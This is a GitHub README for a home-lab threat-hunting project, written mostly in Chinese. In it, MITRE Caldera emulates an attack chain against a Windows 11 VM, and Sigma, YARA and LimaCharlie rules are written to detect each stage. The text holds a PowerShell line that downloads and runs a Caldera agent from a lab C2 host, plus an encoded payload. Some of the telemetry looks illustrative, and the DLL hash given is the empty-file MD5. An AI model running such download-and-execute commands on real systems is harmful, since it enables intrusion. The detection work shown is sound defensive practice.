jaypatel-Cyber/Project_1_EDR_Threat_Hunting
GitHub: jaypatel-Cyber/Project_1_EDR_Threat_Hunting
一个网络安全作品集项目,通过模拟多阶段ATT&CK攻击并编写自定义Sigma、YARA和D&R检测规则,展示L2 SOC级别的端点检测与主动威胁狩猎能力。
Stars: 0 | Forks: 0
# 现代 EDR 与威胁狩猎实验室 🦅
## 目标
使用 MITRE Caldera 的自动化对手模拟框架,针对受 LimaCharlie EDR 保护的 Windows 11 虚拟机,模拟一次真实的攻击者入侵。编写自定义的 Sigma 和 YARA 检测规则以捕获攻击链的每个阶段,然后根据原始遥测数据重建完整的感染时间线。
这展示了 L2 SOC / 威胁狩猎的能力:不仅仅是针对已知恶意行为进行*告警*,而是跨遥测数据进行*狩猎*,以发现现成规则无法捕获的内容。
## 实验架构
```
┌─────────────────────────────────────────────────────────────────┐
│ HOME LAB NETWORK │
│ │
│ ┌─────────────────────┐ ┌──────────────────────────┐ │
│ │ ATTACKER SYSTEM │ │ TARGET (VICTIM) VM │ │
│ │ │ │ │ │
│ │ MITRE Caldera │◄──────►│ Windows 11 Enterprise │ │
│ │ (C2 / Adversary │ HTTP │ + Sysmon v15 │ │
│ │ Emulation) │ :8888 │ + LimaCharlie Agent │ │
│ │ 192.168.1.100 │ │ 192.168.1.101 │ │
│ └─────────────────────┘ └──────────────┬───────────┘ │
│ │ │
└─────────────────────────────────────────────────┼──────────────┘
│ Telemetry (TLS)
▼
┌──────────────────────────┐
│ LIMACHARLIE CLOUD │
│ │
│ - Sensor Telemetry │
│ - D&R Rule Engine │
│ - Timeline Analysis │
│ - YARA Scanning │
└──────────────────────────┘
```
## 工具与技术
| 工具 | 用途 |
|------|---------|
| **LimaCharlie** | 云原生 EDR — 传感器遥测、D&R 规则、YARA 扫描 |
| **MITRE Caldera** | 自动化对手模拟 (C2 框架) |
| **Caldera Sandcat Agent** | 部署到目标虚拟机的基于 Go 的植入物 |
| **Sysmon v15** | 增强的 Windows 事件日志记录(进程创建、网络、注册表) |
| **Sigma** | 与供应商无关的检测规则语言 |
| **YARA** | 用于有效载荷识别的二进制/内存模式匹配 |
## 实验设置
### 1. 目标虚拟机 — Windows 11 Enterprise
- 作为 VMware/VirtualBox 虚拟机部署(2 vCPU,4 GB RAM)
- 安装了 Sysmon 并使用 [SwiftOnSecurity config](https://github.com/SwiftOnSecurity/sysmon-config) 配置
- 安装了 LimaCharlie 代理(`lc_sensor.exe`)并将其注册到 LimaCharlie 组织中
- **禁用**了 Windows Defender 以模拟未受保护或已被绕过的终端
### 2. LimaCharlie EDR
- 创建了一个免费的 LimaCharlie 组织并将 Windows 虚拟机作为传感器注册
- 通过 LimaCharlie Windows 适配器配置了 Sysmon 事件摄取
- 部署了自定义的 D&R(检测与响应)规则 — 参见 [`LimaCharlie_Rules/`](LimaCharlie_Rules/)
### 3. MITRE Caldera 服务器
- 在单独的 Kali Linux 虚拟机上部署了 Caldera:`pip3 install caldera && python3 server.py --insecure`
- 配置了一个针对 Windows 受害者的全新**行动** (Operation)
- 加载了以下对手能力(ATT&CK 技术):
| 阶段 | 技术 | ATT&CK ID |
|-------|-----------|-----------|
| 执行 | PowerShell 载荷投放器 | T1059.001 |
| 防御规避 | Base64/混淆载荷 | T1027 |
| 防御规避 | DLL 侧加载 | T1574.002 |
| 权限提升 / 注入 | 进程注入 (shellcode) | T1055.001 |
| 命令与控制 | HTTP C2 信标 | T1071.001 |
| 侦察 | 系统信息枚举 | T1082 |
## 执行攻击
### 步骤 1 — 通过 PowerShell 部署 Sandcat 代理
在 Caldera 服务器上,暂存了基于 Go 的 **Sandcat** 植入物。在受害主机上执行的初始投放器命令:
```
powershell -ExecutionPolicy Bypass -Command \
"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100:8888/file/download/sandcat.ps1')"
```
**LimaCharlie 遥测 — `NEW_PROCESS` 事件:**
```
{
"event_type": "NEW_PROCESS",
"timestamp": "2026-03-31T14:02:11Z",
"file_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"command_line": "powershell -ExecutionPolicy Bypass -Command \"IEX (New-Object Net.WebClient)...\"",
"parent_process": "explorer.exe",
"user": "VICTIM\\Jay"
}
```
### 步骤 2 — 混淆载荷投递 (T1027)
Caldera 随后使用 Base64 编码执行了第二阶段的载荷,以绕过简单的字符串检测:
```
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA...
```
**LimaCharlie 遥测 — `NEW_PROCESS` 事件:**
```
{
"event_type": "NEW_PROCESS",
"file_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"command_line": "powershell -enc SQBFAFgAIAAo...[TRUNCATED BASE64]...",
"parent_process": "sandcat.exe"
}
```
### 步骤 3 — DLL 侧加载 (T1574.002)
sandcat 代理将一个合法的已签名二进制文件(`OneDriveStandaloneUpdater.exe`)复制到可写的临时目录,然后在同一文件夹中投放了一个恶意的 `version.dll`。当该二进制文件执行时,它加载了此恶意 DLL。
```
C:\Users\Jay\AppData\Local\Temp\
├── OneDriveStandaloneUpdater.exe (legitimate, signed)
└── version.dll (MALICIOUS — Caldera ability)
```
**LimaCharlie 遥测 — `CODE_IDENTITY` + `FILE_CREATE` 事件:**
```
{
"event_type": "CODE_IDENTITY",
"file_path": "C:\\Users\\Jay\\AppData\\Local\\Temp\\version.dll",
"hash": "d41d8cd98f00b204e9800998ecf8427e",
"is_signed": false,
"loaded_by": "OneDriveStandaloneUpdater.exe"
}
```
### 步骤 4 — 进程注入到 explorer.exe (T1055.001)
Caldera 能力使用了经典的 `VirtualAllocEx` → `WriteProcessMemory` → `CreateRemoteThread` 模式,将 shellcode 存根注入到 `explorer.exe` 中。
**LimaCharlie 遥测 — `REMOTE_PROCESS` 事件:**
```
{
"event_type": "REMOTE_PROCESS",
"source_process": "sandcat.exe",
"target_process": "explorer.exe",
"target_pid": 3124,
"operation": "CreateRemoteThread"
}
```
### 步骤 5 — C2 信标 (T1071.001)
一旦注入到 `explorer.exe` 中,该植入物便以 60 秒的间隔和 ±10% 的抖动,建立起到 Caldera 服务器 8888 端口的持久 HTTP 信标连接。
**LimaCharlie 遥测 — `DNS_REQUEST` + `CONNECTED` 事件:**
```
{
"event_type": "CONNECTED",
"process": "explorer.exe",
"destination_ip": "192.168.1.100",
"destination_port": 8888,
"protocol": "TCP"
}
```
## 检测规则
### Sigma 规则 [`Sigma_Rules/`](Sigma_Rules/)
| 规则文件 | 技术 | MITRE ID | 严重性 |
|-----------|-----------|----------|----------|
| `Suspicious_Powershell.yml` | PowerShell 绕过执行 | T1059.001 | High |
| `DLL_Sideloading_Detection.yml` | DLL 侧加载 | T1574.002 | High |
| `Process_Injection_Detection.yml` | 远程线程注入 | T1055.001 | Critical |
| `C2_Beacon_HTTP.yml` | 来自系统进程的异常出站 HTTP | T1071.001 | High |
### YARA 规则 [`YARA_Rules/`](YARA_Rules/)
| 规则文件 | 目标 | 用途 |
|-----------|--------|---------|
| `Caldera_Agent.yar` | 磁盘上的 sandcat 二进制文件 | 识别 Caldera 基于 Go 的植入物 |
| `PowerShell_Obfuscation.yar` | 进程内存 / 脚本文件 | 捕获 Base64 + IEX 混淆模式 |
### LimaCharlie D&R 规则 [`LimaCharlie_Rules/`](LimaCharlie_Rules/)
| 规则文件 | 采取的行动 |
|-----------|-------------|
| `01_caldera_initial_exec.yml` | 报告 + 告警 |
| `02_dll_sideloading.yml` | 报告 + 终止进程 |
| `03_memory_injection.yml` | 报告 + deny_tree(终止进程树) |
## 感染链时间线
```
[T+00:00] Caldera operation launched from attacker system (192.168.1.100)
[T+00:15] PowerShell dropper executed on victim VM
└─ powershell.exe spawns → downloads sandcat agent
└─ SIGMA ALERT: Suspicious_Powershell.yml
[T+00:23] Sandcat agent (sandcat.exe) starts, beacons to Caldera C2
└─ First check-in on HTTP:8888
[T+00:45] Obfuscated Base64 second-stage payload executed
└─ SIGMA ALERT: Process_Injection_Detection.yml
└─ YARA MATCH: PowerShell_Obfuscation.yar
[T+01:10] DLL side-loading: version.dll dropped in Temp, loaded by signed binary
└─ LC TELEMETRY: CODE_IDENTITY event — unsigned DLL
└─ SIGMA ALERT: DLL_Sideloading_Detection.yml
└─ LC D&R: 02_dll_sideloading.yml → process killed
[T+01:35] Process injection: sandcat → CreateRemoteThread into explorer.exe
└─ LC TELEMETRY: REMOTE_PROCESS event
└─ LC D&R: 03_memory_injection.yml → deny_tree executed
└─ Sandcat.exe process tree terminated
[T+01:48] Injected code continues running inside explorer.exe
└─ HTTP beacon from explorer.exe to 192.168.1.100:8888
└─ HUNTED: Manually identified in LC timeline view
[T+02:15] Threat contained — attacker evicted, IOCs extracted
```
完整时间线分解:[`Infection_Chain/timeline.md`](Infection_Chain/timeline.md)
## 关键发现与要点
1. **Sigma 规则能快速捕获已知的恶意模式**,但需要调优。在本实验环境中,`-ExecutionPolicy Bypass` 规则在 24 小时内产生了 0 次误报。
2. **针对内存的 YARA 非常强大** — 扫描进程内存中的 Base64/IEX 模式,捕获了任何进程创建事件都无法看到的混淆载荷。
3. **DLL 侧加载常被忽视** — 大多数 AV/EDR 产品专注于 PE 执行,而不是 DLL 加载事件。在 LimaCharlie 中针对 `CODE_IDENTITY` 事件(位于 %TEMP% 中的未签名 DLL)编写规则,是一种简单但高效的狩猎方法。
4. **进程注入在 LimaCharlie 中留下了清晰的踪迹** — 即使注入进程没有网络活动,也会生成 `REMOTE_PROCESS` 事件。将这些事件与后续来自*目标*进程的网络连接相关联,是发现注入型 C2 的关键。
5. **自动化响应是有效的** — LimaCharlie 中的 `deny_tree` 响应动作在检测后不到 200 毫秒内终止了整个 sandcat 进程树,早于基于 DLL 的载荷进一步执行。
## IOC(实验室生成)
| 类型 | 值 | 备注 |
|------|-------|------|
| 文件哈希 (MD5) | `d41d8cd98f00b204e9800998ecf8427e` | version.dll (恶意) |
| IP | `192.168.1.100:8888` | Caldera C2 服务器 |
| 文件路径 | `C:\Users\*\AppData\Local\Temp\sandcat.exe` | Sandcat 代理 |
| 注册表键 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\sandcat` | 持久化键 |
| 进程 | `explorer.exe` (已注入) | 异常网络连接 |
*创建自综合网络安全作品集,展示了 L2 SOC 和威胁狩猎能力。*
*作者:Jay Trapasiya | 工具:LimaCharlie、MITRE Caldera、Sysmon、Sigma、YARA*
标签:adversary emulation, AI合规, API接口, C2服务器, DAST, DNS信息、DNS暴力破解, DNS 解析, EDR, HTTP C2, IP 地址批量处理, LimaCharlie, MITRE Caldera, Sigma规则, SOC Level 2, SOC分析师, Sysmon, Threat Hunting, Windows 11, Windows虚拟机, YARA规则, 命令与控制, 安全实验环境, 安全工具集合, 安全测试项目, 安全运营中心, 家庭实验室, 对手模拟, 恶意软件分析, 感染时间线, 攻击链, 数据包嗅探, 无线安全, 目标导入, 端点检测与响应, 紫队, 网络信息收集, 网络安全, 网络映射, 脆弱性评估, 脱壳工具, 自定义检测规则, 遥测数据分析, 隐私保护